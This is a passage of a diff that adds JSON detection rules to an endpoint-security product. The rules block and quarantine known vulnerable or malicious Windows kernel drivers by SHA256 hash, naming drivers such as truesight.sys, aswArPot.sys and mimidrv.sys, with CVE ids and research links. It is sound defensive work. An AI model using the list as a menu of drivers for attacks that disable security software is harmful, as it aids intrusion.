+  "last_update": "2026-03-23T11:45:29.622228Z",
+  "creation_date": "2026-03-23T11:45:29.622230Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622236Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6991be9952aa08c0d2ac9fa728410ebdb44988b496ed01b8b7f478785ebb30c4",
+  "comment": "BioStar Racing GT EVO vulnerable driver (aka BS_RCIO64.sys) [CVE-2021-44852] [https://nephosec.com/biostar-exploit/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9090e885-0d80-550d-ab43-a879a161e87c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813347Z",
+  "creation_date": "2026-03-23T11:45:31.813350Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813358Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e85661eaf2d80f59a7cce8588d487eb2f3e88cdf05580872ea7a379fd512d63d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90974d7c-40f0-518d-b0d1-137b96af3a4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477348Z",
+  "creation_date": "2026-03-23T11:45:30.477351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f42eb29f5b2bcb2a70d796fd71fd1b259d5380b216ee672cf46dcdd4604b87ad",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "909ca9fb-ef0b-5a0d-a5ab-32a75da649ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498255Z",
+  "creation_date": "2026-03-23T11:45:31.498260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95647f910288a7c30a2a886254d2dcbc0d1035e5ec0e9c13bb292d2432e6329c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90a201dc-9930-5357-8265-4ff9495a155e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833754Z",
+  "creation_date": "2026-03-23T11:45:30.833757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833766Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab022e2378b4784621dbea6ede94ec67a9a68cc5e0e86e6be3d08ff90803a611",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90b2e7bd-f87c-532e-a73e-70a291ebab7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452913Z",
+  "creation_date": "2026-03-23T11:45:30.452916Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b71b7f86e41540a82d7750a698e0386b74f52962b879cbb46f17935183cd2c7",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90b4be1b-8b21-5d12-9fd3-e36511fcba11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969382Z",
+  "creation_date": "2026-03-23T11:45:29.969384Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969390Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c5c8258836b58a830ef0289cdd544f741cd1054e8ae4732452553f680677825e",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90d9475e-5b4c-5fe5-8048-4c79fa5147ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811507Z",
+  "creation_date": "2026-03-23T11:45:31.811509Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6faf31cce58738989762bb173e25c7fbe1db0c65aca290e1e150aef5df5bf0e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90d98919-a2a4-5a58-b0bc-e7931420d70e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466270Z",
+  "creation_date": "2026-03-23T11:45:30.466273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8ae217860f793fce3ad0239d7b357dba562824dd7177c9d723ca4d4a7f99a12",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90dd4aa3-65e5-55fc-9de3-2d70d07b0fb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161182Z",
+  "creation_date": "2026-03-23T11:45:31.161184Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161189Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "548ae3270c01abaaa47ce523a1a1f55dcab8bcbb7e1ab2af63748117259a5fe1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90eb92d4-fb93-5280-bf5d-5ba7d643fa67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481009Z",
+  "creation_date": "2026-03-23T11:45:31.481013Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4619cb7fbfa46a9eb482bf6988ee67a5720f8685d5f1a5a715cb6f250af84ace",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90f285bb-fbd5-5c7e-b17c-4bae4c69b851",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977568Z",
+  "creation_date": "2026-03-23T11:45:29.977571Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977576Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4ac5c7fbb41ee988029b27d8b6be574725689fd1365f5a56f5a12d9120f86c6",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90f9224e-d2e7-5b8f-9693-87166a8ab05b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475539Z",
+  "creation_date": "2026-03-23T11:45:31.475543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475553Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7000fda0f12ed88ec7918021caed1c6d18248c31cc5e4043dff1016fe2470ab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90ff1411-47c9-5655-9c0e-87cd7acc258b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473572Z",
+  "creation_date": "2026-03-23T11:45:30.473575Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473584Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1375cb06b0e1ec47e3afea13824cff8f3d9d995960556c0795e9bec0fe48b70",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9101d8b1-6f1b-5c63-a79e-a72b759aef3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817417Z",
+  "creation_date": "2026-03-23T11:45:30.817419Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79247cd973878500461753431f1528ed35e5f85a8978bf68ac211335ffcae27a",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "911768ca-1f42-5ed1-8237-9f524b6a8a38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815272Z",
+  "creation_date": "2026-03-23T11:45:31.815274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d93c9ff5be30340df129c7fbeab0657228adbc69a6a41ef18fa870c67896a013",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9120f31c-1796-5992-89a9-3004655bca09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475987Z",
+  "creation_date": "2026-03-23T11:45:31.475991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f3675944cb37db65ef8e924d5d38142d161b76e2895e0776669cad217594c00",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9128c603-cd3c-520a-a6b6-c37da59a15c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149075Z",
+  "creation_date": "2026-03-23T11:45:31.149077Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149083Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ada6b01f7bebb33525bf3df2d7f353461a26f81aaf6fe152081ce18cb97216d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "912cd4ea-7e68-5d4a-9c23-cde44c74825f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610638Z",
+  "creation_date": "2026-03-23T11:45:29.610640Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610645Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e5aef7c66c0e92dfc037ee29ade1c8484b8d7fadebdcf521d2763b1d8215126",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "912d96e9-d29e-5da1-9c60-9ee8900e5ed9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826656Z",
+  "creation_date": "2026-03-23T11:45:30.826659Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826664Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "accf1ca6cdc769088de122167fbe39ccedb7265b70a0874cfe5c74fcead44b53",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9130b846-0c6d-5edc-a5c0-247819e459d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475504Z",
+  "creation_date": "2026-03-23T11:45:30.475507Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475516Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0856a1da15b2b3e8999bf9fc51bbdedd4051e21fab1302e2ce766180b4931d86",
+  "comment": "Vulnerable Kernel Driver (aka Blackbone.sys) [https://www.loldrivers.io/drivers/b9b835bd-b720-424b-9160-2442bc4d6e58/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9136c9c0-7cca-52b4-a5bb-36a81995d6c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829307Z",
+  "creation_date": "2026-03-23T11:45:30.829309Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829314Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b03990f69862eb3b2a43c484a46c55122ab39184423fe2dd86f656014345d48",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91372f37-1686-5019-b33b-71ad24e9e2f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487199Z",
+  "creation_date": "2026-03-23T11:45:31.487201Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487206Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
